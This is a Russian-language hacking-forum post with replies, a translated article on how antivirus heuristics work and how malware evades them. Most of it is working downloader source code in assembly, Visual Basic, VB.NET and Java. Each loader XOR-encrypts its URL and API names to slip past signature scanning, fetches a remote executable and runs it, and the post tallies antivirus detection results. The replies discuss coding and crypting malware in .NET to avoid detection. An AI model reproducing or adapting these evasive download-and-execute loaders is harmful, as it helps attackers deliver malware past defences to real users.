• XSS.stack #1 – первый литературный журнал от юзеров форума

Вредоносное ПО vs AVs

demien

(L2) cache
Пользователь
Регистрация
29.09.2008
Сообщения
492
Реакции
14
[Вредоносное ПО vs AVs]

0x00 - Описание
0x10 - Вступление
0x20 - Avs
0x30 - Малваря
0x40 - Техники антивирусов
0x50 - Техники вредоносного ПО для обхода аверов
0x60 - Примеры
0x70 - Заключение



0x00 - Описание

В этой статье показано, что такое антивирусная система, что такое вредоносное ПО (malware) =), и показаны техники, которые антивирусы используют для обнаружения малвари, ну и конечно техники, которые использует вредоносное ПО для обхода антивирусов.

В конце я покажу вам несколько примеров самых простых листингов вредоносного ПО, написанных на самых популярных языках, доступных сегодня (ASM,
C/C++ Visual Basic 6/.NET, JAVA), и покажу как антивирусы распознают вредоносное ПО, или нет =).



0x10 - Вступление

Антивирус, по определению "Антивирусное ПО это компьютерная программа, которая выявляет, нейтрализует и ликвидирует вредоносное ПО.".
Но в наши дни, он делает намного больше чем просто "нейтрализует" и "ликвидирует",
"потенциально опасное ПО", антивирус способствует предотвращению целому ряду опасностей, которые могут нанести вашему компьютеру вред.
Антивирусное ПО, использует современные методы для обнаружения уже существующего зловреда, ну и конечно ранее неизвестной малвари. Идентификация подозрительных программ, и конечно лучше оружие антивирусов в наши дни это эвристический анализ, или просто эвристика.
Техники будет подробнее описаны в главе 0x40.


0x30 - Малваря

Вредоносное ПО, по определению "Вредоносное ПО это все программы, которые способны поставить под угрозу безопасность системы.". И так это могут быть вирусы, трояны, руткиты, черви, шпионское ПО, бэкдоры, и др..
Подобно антивирусам, вредоносное ПО использует продвинутые техники защиты от обнаружение антивирусным ПО - шифрование, упакова, запутывание точки входа, анти-эмуляция, полиморфизм, перехваты, инжекты, и многое другое.
Подробнее будет описано ниже.


0x40 - Техники антивирусов

Есть несколько основных принципе обнаружения, общий (generic) и Специфический (specific).
Специфический - антивирус должен иметь начальные представления о целевом вредоносном ПО.
Общий- метод основан на характеристиках вредоносного ПО.

Общий метод также называется эвристическим, эвристика, это техника, которую антивирусное ПО использует чтобы обнаружать ранее неизвестные вредоносные программы. Эвристика, это техника, которая сочитает в себе обнаружение по сигнатурам, характеристикам и эмуляцию.

Эвристика была создана, с увеличившимся количеством созданных вредоносных программ,
в соответствии с отчетом F-Secure, в 2007 году число созданого вредоносного ПО превзошло в целом, то что было создано за 20 лет. В 1995, вредоносное ПО имело контроль над антивирусным ПО, антивирусные компании задумались о создании эвристики.

Самые распространенные эвристические техники:

- эмулятор памяти;
- синтаксический анализатор;
- анализатор потоков;
- анализатор кода;
- дизассемблер/эмулятор;
- Обобщенная система и/или система основанная на правилах.

Есть два типа сканирования - сигнатурный и эвристический.

Сигнатурное сканирование, это сканирование основанное на поиске определенной последовательности байт, которые присутствуют в известном вредоносном ПО, вроде "*.exe", apis функций, и др.

Эвристическое сканирование намного сложнее предыдущего, эвристический сканер ищет инструкции и команды, которых нет в обычных программах.

Есть некоторые характеристики, которые позволяют антивирусам определять вредоносному ПО, вот они:

[характеристики]

-Executable
- Не правильный timestamp;

- Точка входа
- расположение точки входа, если точка входа не в первой секции;

- Размер загрузочного файла
- Если загрузочный файл менее 2kb;

- Информация о заголовке РЕ файла
- расположение PE заголовка;
- Не правильный SizeOfImage;
- Не правильный SizeOfCode;
- другие не верные данные PE заголовка;

- характеристики секций
- если последняя секция с параметром "exectubale";
- если первая секций "writable";

- число секций
- в файле только одна секция;

- имена секций
- неизвестные имена секций;
- пустые имена секций;

- код
- различия между стандартами в языках;
- перенаправление кода;
- длинные зацикливания (loops)/прыжки;
- использование PEB для поиска базы адресов длл;

- подозрительные текстовые строки
- "*.exe";
- "CreateRemoteThread";
- и т.д.;

- и другое...

[Эмуляция]

- Подозрительный доступ к файлам;
- Перенаправления;
- Подозрительное распределение памяти;
- Содержание функций по поиску загрузочных (.COM or .EXE) файлов;
- Поиск функций декрипта;
- Не верная точка входа;
- Перехват запуска определенных программ;
- Доступ записи на диск;
- Доступ/Создание файлов в критических областях;
- Резидентный код;
- Неверные опкоды (non-8088 инструкции) или вне диапазона;
- Подозрительные конструкции переходов;
- Несовместимый exe-заголовок;
- Мусорные инструкции;
- Недокументируемые прерывания/DOS вызовы;
- EXE/COM определения;
- Перезапись/смещение программы в памяти;
- Переазпуск файла после модификаций;
- Необычный стек;
- Неправильное древо загрузочного файла;
- и т.д....

Количество этих характеристик определяют детект вредоносного кода.

Вкратце эвристика это очень мощная технология, но и в ней есть недостатки,
эвристика может давать ложные срабатывания, к примеру, программы которые написанны для того чтобы форматировать или дефрагментировать диск, могут быть определены как вредоносное по или что они заражены.

Для предотвращения этого антивирус может распознавать легальные программы.

0x50 - Техники вредоносного ПО для обхода аверов

Сейчас, после всего этого я покажу, как вредоносные программы обходят эвристику. В наши дни вредоносное ПО также использует продвинутые техники для сокрытия от обнаружения детектов:

- характеристики секций не искажены;
- секции называются правильными именами;
- обфускация;
- запутывание точки входа;
- патчи стэка;
- правильные хэши (Checksums);
- правильное время создания файла (timestamp);
- правильный PE заголовок;
- SEH;
- использование MMX, SSE технологий;
- Anti-Sandbox;
- Anti-Debug;
- Anti-Virtualization;
- перенаправление Api;
- Api hook (трехуровневый 0/3);
- Расшифровка кода с помощью брутфорса;
- Использование потоков и двойных потоков;
- Отсутствие текстовых строк и т.д.;

Главная методика обхода эвристики - это маскировка вредоносного кода под нормальную программу.

0x60 - Примеры

В этой главе мы попробуем написать несколько простых примеров, для тестирования реакций антивирусов, во первых, мы напишем программу для отображения сообщения (messagebox) и выхода из прогарммы (Exitprocess).

Для тестов будет использоваться вирустотал.

MASM.

Код:
 .386
                        .model flat, stdcall
                        
                        option casemap:none
                        
                        include user32.inc
                        include kernel32.inc
                        includelib user32.lib
                        includelib kernel32.lib
                        
                        .data
                                _szMessage db "Juza", 0h
                                _szText    db "The Puppet Master", 0h
                        .code
                        start:
                        
                                push 0
                                push offset _szMessage
                                push offset _szText
                                push 0
                                call MessageBoxA
                        
                                push 0
                                call ExitProcess
                        end start

результат hxxp://www.virustotal.com/pt/analisis/1a00...31746fc0e0f1057

один антивирус Prevx1 реагирует неадекватно, посмотрим что дальше

теперь FASM.

Код:
 format PE GUI 4.0
                        entry start
                        
                        include 'win32a.inc'
                        
                        section '.data' data readable writeable
                                _caption db 'The Puppet Master',0
                                _message db 'Juza',0
                        
                        section '.code' code readable executable
                        start:
                        
                                push MB_OK
                                push _caption
                                push _message
                                push NULL
                                call [MessageBox]
                        
                                push 0
                                call [ExitProcess]
                        
                        section '.idata' import data readable writeable
                        
                                library user,'USER32.dll',\
                                        kernel, 'KERNEL32.DLL'
                        
                                import user,\
                                MessageBox,'MessageBoxA'
                        
                                import kernel,\
                                ExitProcess, 'ExitProcess'

результат: hxxp://www.virustotal.com/pt/analisis/83b9...e57f99cdade57db

Самое интересное, что 5 антивирусов определяют как вирус простое сообщение.

Теперь на C/C++.

Код:
#include <windows.h>
        
                        #ifndef null
                                #define null 0
                        #endif
                        
                        int main (int argc, char **argv) {
                                MessageBox(null, "Juza", "Juza", null);
                                return 0;
                        }

Результат: hxxp://www.virustotal.com/pt/analisis/fbfd...c15fdeef60c2fd5

Все чисто, так я и думал.

Теперь Visual Basic 6.

Код:
 Private Declare Function MessageBox _
                        Lib "user32" Alias "MessageBoxA" _
                        (ByVal hwnd As Long, ByVal lpText As String, _
                        ByVal lpCaption As String, ByVal wType As Long) As Long
                        
                        Private Sub Form_Load()
                                MessageBox &H0, "Juza", "Juza The Puppet Master", &H0
                                unload me
                        End Sub

Результат: hxxp://www.virustotal.com/pt/analisis/0f76...40ab9d00c52d28c

Еще один облачный детект, панда говорит что файл подозрителен - "Suspicious file" =).

Теперь VB.NET.

Код:
Public Class Form1
        
                                Private Sub Form1_Load( _
                                ByVal sender As System.Object, _
                                ByVal e As System.EventArgs) _
                                Handles MyBase.Load
                                        MessageBox.Show("Juza", "Juza", MessageBoxButtons.OK)
                                End Sub
                        End Class

Результат: hxxp://www.virustotal.com/pt/analisis/6c13...b75f1970099c5b5

Чисто.

Теперь JAVA.

Код:
 import javax.swing.JApplet;
  	import javax.swing.JFrame;
  	import javax.swing.JOptionPane;
  	
  	public class mg extends JApplet {
  	
    static JFrame frame = new JFrame("My Window");
    
    public static void main(String[] args) {
    	JOptionPane.showMessageDialog(frame, "Juza The Puppet Naster");
    }
  	}

Результат: hxxp://www.virustotal.com/analisis/f418982...016d9f5f9d1b6df

Чисто, как я и думал.

С помощью этих тестов мы можем сделать вывод, что большинство антивирусов, с большей легкостью обнаруживают родные win32 программы, чем, что-то странное в ассмеблированных вызовах банального messagebox (MASM,FASM), ничего не определяя в программах основанных на фрэймворках, VB.NET и JAVA, и как мы может рассуждать, антивирус не умеют должным образом эмулировать приложения основанные на JAVA и .NET.

Теперь закончим тест чем нибудь простым, но чем-то, с чем каждый программист хоть раз сталкивался, будем тестировать простейший Downloader.

В рамках не фреймворковой программы, мы будем использовать только одну апи, функцию декрипта зашифрованной текстовых строк, для избежания сигнатурного скана.

Наш лоадер будет качать putty шел, отсюда :
hxxp://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

MASM.

Код:
.386
   .model flat, stdcall
    
   option casemap:none
    
   include kernel32.inc
   include shell32.inc
   includelib kernel32.lib
   includelib shell32.lib
    
   .data
;http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
   _szDownload db ".226|ii2.#h#'42.h*/i85!2'2.'+i6322?i*'2#52i>~pi6322?h#>#", 0h;70
   _szDll db "Afxy{z:pxx", 0h;20
   _szFunc db "}zdlG_FDGIL|GnADMi", 0h;40
   _szSp db "a8^rwvv{,gzg", 0h;2
    
   _dwHDll dd 0h
   _dwHFunc dd 0h
    
   .code
    
   start:
    
   mov eax, offset _szDll
    
   @@:
   cmp byte ptr [eax], 0h
   je @F
   xor byte ptr [eax], 20
   add eax, 1
   jmp @B
   @@:
    
   push offset _szDll
   call LoadLibrary
    
   mov _dwHDll, eax  
    
   mov eax, offset _szFunc
    
   @@:
   cmp byte ptr [eax], 0h
   je @F
   xor byte ptr [eax], 40
   add eax, 1
   jmp @B
   @@:
    
    
   push offset _szFunc
   push dword ptr [_dwHDll]
   call GetProcAddress
    
   mov _dwHFunc, eax
    
   mov eax, offset _szDownload
    
   @@:
   cmp byte ptr [eax], 0h
   je @F
   xor byte ptr [eax], 70
   add eax, 1
   jmp @B
   @@:
    
   mov eax, offset _szSp
    
   @@:
   cmp byte ptr [eax], 0h
   je @F
   xor byte ptr [eax], 2
   add eax, 1
   jmp @B
   @@:
    
   mov eax, dword ptr _dwHFunc
    
   push 0h
   push 0h
   push offset _szSp
   push offset _szDownload
   push 0h
   call eax
    
   push 5;SW_SHOW
   push 0
   push 0
   push offset _szSp
   push 0
   push 0
   call ShellExecute
    
   push 0
   call ExitProcess
    
   end start

Результат: hxxp://www.virustotal.com/pt/analisis/b1f2...a734d9f65375736

Хммм.. неожиданный результат, всего 4 авера, и лучшие пошли лесом
(Kaspersky, Nod32).

Теперь попробуем FASM.

Код:
format PE GUI 4.0
   entry start
    
   include 'win32a.inc'
    
   section '.data' data readable writeable
   _szDownload db ".226|ii2.#h#'42.h*/i85!2'2.'+i6322?i*'2#52i>~pi6322?h#>#", 0h;70
   _szDll db "Afxy{z:pxx", 0h;20
   _szFunc db "}zdlG_FDGIL|GnADMi", 0h;40
   _szSp db "a8^rwvv{,gzg", 0h;2
    
   _dwHDll dd 0h
   _dwHFunc dd 0h
    
   section '.code' code readable executable
   start:
    
   mov eax, _szDll
    
   @@:
   cmp byte [eax], 0h
   je @F
   xor byte [eax], 20
   add eax, 1
   jmp @B
   @@:
    
   push _szDll
   call [LoadLibrary]
    
   mov [_dwHFunc], eax
    
   mov eax, _szFunc
    
   @@:
   cmp byte [eax], 0h
   je @F
   xor byte [eax], 40
   add eax, 1
   jmp @B
   @@:
    
    
   push _szFunc
   push [_dwHFunc]
   call [GetProcAddress]
    
   mov [_dwHFunc], eax
    
   mov eax, _szDownload
    
   @@:
   cmp byte [eax], 0h
   je @F
   xor byte [eax], 70
   add eax, 1
   jmp @B
   @@:
    
   mov eax, _szSp
    
   @@:
   cmp byte [eax], 0h
   je @F
   xor byte [eax], 2
   add eax, 1
   jmp @B
   @@:
    
   mov eax, [_dwHFunc]
    
   push 0h
   push 0h
   push _szSp
   push _szDownload
   push 0h
   call eax
    
   push 5;SW_SHOW
   push 0
   push 0
   push _szSp
   push 0
   push 0
   call [ShellExecute]
    
   push 0
   call [ExitProcess]
    
   section '.idata' import data readable writeable
    
   library shell,'SHELL32.DLL',\
   kernel, 'KERNEL32.DLL'
    
   import kernel,\
   GetProcAddress, 'GetProcAddress',\
   LoadLibrary, 'LoadLibraryA',\
   ExitProcess, 'ExitProcess'
    
   import shell,\
   ShellExecute, 'ShellExecuteA'

Результат: hxxp://www.virustotal.com/pt/analisis/44d2...9f51e1b46fb916a

7 аверов определяют, не плохо.

Теперь Visual Basic 6.

Код:
Private Declare Function URLDownloadToFile Lib "urlmon.dll" _
   Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
   ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long _
   ) As Long
    
   Private Sub Form_Load()
  URLDownloadToFile &H0, decript(".226|ii2.#h#'42.h*/i85!2'2.'+i6322?i*'2#52i>~pi6322?h#>#", 70), _
  decript("a8^rwvv{,gzg", 2), &H0, &H0
  
  Shell decript("a8^rwvv{,gzg", 2)
  
  Unload me
   End Sub
    
   Private Function decript(ByVal szStr As String, ByVal intVal As Integer) As String
  Dim i, a As Integer
  Dim szChar As String
  Dim szDump As String
  
  For i = 1 To Len(szStr)
  szChar = Mid(szStr, i, 1)
  a = intVal Xor Asc(szChar)
  szChar = Chr(a)
  szDump = szDump & szChar
  Next i
  
  decript = szDump
   End Function

Результат: hxxp://www.virustotal.com/pt/analisis/9f89a47f99d0e8c70320cd6335267d86

Они обнаруживают эту апи "URLDownloadToFileA".

Visual Basic.Net

Код:
 Imports System.IO
	Imports System.Net
	Imports System.Text
	
	Public Class Form1
	
   Private Sub Form1_Load( _
   ByVal sender As System.Object, ByVal e As System.EventArgs) _
   Handles MyBase.Load
	
    Dim wr As HttpWebRequest = CType(WebRequest.Create(decript(".226|ii2.#h#'42.h*/i85!2'2.'+i6322?i*'2#52i>~pi6322?h#>#", 70)), HttpWebRequest)
    Dim ws As HttpWebResponse = CType(wr.GetResponse(), HttpWebResponse)
  Dim str As Stream = ws.GetResponseStream()
  Dim inBuf(100000) As Byte
  Dim bytesToRead As Integer = CInt(inBuf.Length)
  Dim bytesRead As Integer = 0
  
  While bytesToRead > 0
  Dim n As Integer = str.Read(inBuf, bytesRead, bytesToRead)
  If n = 0 Then
  Exit While
  End If
  bytesRead += n
  bytesToRead -= n
  End While
  Dim fstr As New FileStream(decript("a8^rwvv{,gzg", 2), FileMode.OpenOrCreate, FileAccess.Write)
  fstr.Write(inBuf, 0, bytesRead)
  str.Close()
  fstr.Close()
  
  Shell(decript("a8^rwvv{,gzg", 2))
  Me.Close()
	
   End Sub
	
   Private Function decript(ByVal szStr As String, ByVal intVal As Integer) As String
   Dim i, a As Integer
   Dim szChar As String
   Dim szDump As String = vbNullString
	
   For i = 1 To Len(szStr)
   szChar = Mid(szStr, i, 1)
   a = intVal Xor Asc(szChar)
   szChar = Chr(a)
   szDump = szDump & szChar
   Next i
	
   decript = szDump
   End Function
	
	End Class

Результат: hxxp://www.virustotal.com/pt/analisis/e5e3ab6de021d6d81570ce71f0539569

Хех, аверы не любят фреймворки =).

JAVA

Код:
 import java.io.*;
  	import java.net.*;
  	import java.util.concurrent.Executor;
  	
  	public class FileDownload {
    public static void download(String address, String localFileName) {
    	OutputStream out = null;
    	URLConnection conn = null;
    	InputStream  in = null;
    	try {
      URL url = new URL(address);
      out = new BufferedOutputStream(
      	new FileOutputStream(localFileName));
      conn = url.openConnection();
      in = conn.getInputStream();
      byte[] buffer = new byte[1024];
      int numRead;
      long numWritten = 0;
      while ((numRead = in.read(buffer)) != -1) {
      	out.write(buffer, 0, numRead);
      	numWritten += numRead;
      }
      System.out.println(localFileName + "\t" + numWritten);
    	} catch (Exception exception) {
      exception.printStackTrace();
    	} finally {
      try {
      	if (in != null) {
        in.close();
      	}
      	if (out != null) {
        out.close();
      	}
      } catch (IOException ioe) {
      }
    	}
    }
  	
    public static void download(String address) {
    	int lastSlashIndex = address.lastIndexOf('/');
    	if (lastSlashIndex >= 0 &&
    	lastSlashIndex < address.length() - 1) {
      download(address, address.substring(lastSlashIndex + 1));
    	} else {
      System.err.println("Could not figure out local file name for " +
      	address);
    	}
    }
  	
    public static void main(String[] args) throws IOException {
    	String command = "wine putty.exe";
    	download("http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe");
    	Process child = Runtime.getRuntime().exec(command);
    }
  	}

результат: hxxp://www.virustotal.com/analisis/a7cb0fb...4d620aebd4e11bd

Ничего, как я и думал.

0x70 - Заключение

И так, мы можем сделать выводы:

- У большинства аверов не развита эвристика.
- Мы можем с легкостью обходить их.
- Программы написанные с использованием фреймворков обходят эвристику на ура. =)

p.s. оригинал вы найдете тут http://www.governmentsecurity.org/forum/in...showtopic=29450
p.s.s перевел demien
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Статья интересная, спасибо!
Но выходит, что все таки надо отходить от старых традиций, и кодить малварь на сишарпах и т.п.? Не будет ли, в таком случае, проблем с криптом - если делфи тяжело криптуется, то как этот фреймворк будет? Да и размер..
 
Статья интересная, спасибо!
Но выходит, что все таки надо отходить от старых традиций, и кодить малварь на сишарпах и т.п.? Не будет ли, в таком случае, проблем с криптом - если делфи тяжело криптуется, то как этот фреймворк будет? Да и размер..

Это была вводная, не нужно сразу все отрезать :) Можно и на масме сделать чтоб не палилось, просто нужно знать как и все :)
 
@Stalin имеете ввиду

солидарен с Darwin'ом. писать нужно на том, что душе ближе, те аспекты, которые затрагиваются в статье призваны указать как слабы эмуляторы антивирусов в языках, которые используют фреймворки. язык далеко не главный аспект, важнее то, как будт реализована та или иная задача и какие трюки буду использованы для обходов...

p.s. просто подходите ко всему с умом ;) &copy;
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх